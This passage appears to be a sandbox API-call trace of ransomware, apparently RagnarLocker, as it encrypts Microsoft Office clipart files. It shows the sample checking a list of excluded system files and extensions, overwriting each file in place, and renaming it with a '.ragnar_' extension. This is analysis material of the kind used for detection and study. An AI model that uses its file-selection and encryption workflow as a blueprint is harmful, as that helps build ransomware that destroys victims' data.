(hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.885] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.885] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.885] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.886] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.886] GetProcessHeap () returned 0x580000 [0079.886] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.886] CloseHandle (hObject=0xf4) returned 1 [0079.886] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" [0079.886] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ragnar_FD7BD9FC" [0079.886] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.886] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0079.886] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.886] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00853_.WMF" | out: lpString1="AN00853_.WMF") returned="AN00853_.WMF" [0079.886] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned=".WMF" [0079.886] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.886] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="autorun.inf") returned -1 [0079.886] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="boot.ini") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="bootfont.bin") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="bootsect.bak") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="bootmgr") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="bootmgr.efi") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="desktop.ini") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="iconcache.db") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="ntldr") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="ntuser.dat") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="ntuser.ini") returned -1 [0079.887] lstrcmpiW (lpString1="AN00853_.WMF", lpString2="thumbs.db") returned -1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.887] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.887] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0079.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.887] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20578) returned 1 [0079.888] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5059, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.888] GetProcessHeap () returned 0x580000 [0079.888] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.888] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.889] VirtualAlloc (lpAddress=0x0, dwSize=0x5062, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.890] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5062, lpOverlapped=0x0) returned 1 [0079.891] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.891] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5062, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.891] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5062, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5062, lpOverlapped=0x0) returned 1 [0079.891] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5062, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.891] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5062, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.892] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.892] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.892] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.892] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.892] GetProcessHeap () returned 0x580000 [0079.892] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.892] CloseHandle (hObject=0xf4) returned 1 [0079.892] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" [0079.892] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ragnar_FD7BD9FC" [0079.892] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0079.893] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.893] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00914_.WMF" | out: lpString1="AN00914_.WMF") returned="AN00914_.WMF" [0079.893] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned=".WMF" [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="autorun.inf") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="boot.ini") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="bootfont.bin") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="bootsect.bak") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="bootmgr") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="bootmgr.efi") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="desktop.ini") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="iconcache.db") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="ntldr") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="ntuser.dat") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="ntuser.ini") returned -1 [0079.893] lstrcmpiW (lpString1="AN00914_.WMF", lpString2="thumbs.db") returned -1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.893] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0079.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.894] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10832) returned 1 [0079.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.894] GetProcessHeap () returned 0x580000 [0079.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.895] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2a50, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.896] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a50, lpOverlapped=0x0) returned 1 [0079.897] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.897] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a50, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.897] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a50, lpOverlapped=0x0) returned 1 [0079.897] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.898] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.898] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.898] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.898] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.898] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.898] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.898] GetProcessHeap () returned 0x580000 [0079.898] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.898] CloseHandle (hObject=0xf4) returned 1 [0079.898] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" [0079.898] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ragnar_FD7BD9FC" [0079.898] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.899] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0079.899] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.899] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN00932_.WMF" | out: lpString1="AN00932_.WMF") returned="AN00932_.WMF" [0079.899] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned=".WMF" [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="autorun.inf") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="boot.ini") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="bootfont.bin") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="bootsect.bak") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="bootmgr") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="bootmgr.efi") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="desktop.ini") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="iconcache.db") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="ntldr") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="ntuser.dat") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="ntuser.ini") returned -1 [0079.899] lstrcmpiW (lpString1="AN00932_.WMF", lpString2="thumbs.db") returned -1 [0079.899] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.899] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.899] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.899] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.899] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.900] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.900] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0079.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.900] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14428) returned 1 [0079.900] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3853, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.900] GetProcessHeap () returned 0x580000 [0079.900] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.900] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.902] VirtualAlloc (lpAddress=0x0, dwSize=0x385c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.902] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.902] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x385c, lpOverlapped=0x0) returned 1 [0079.903] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.903] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x385c, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.903] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x385c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x385c, lpOverlapped=0x0) returned 1 [0079.904] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x385c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.904] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.904] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x385c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.904] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.904] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.904] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.904] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: 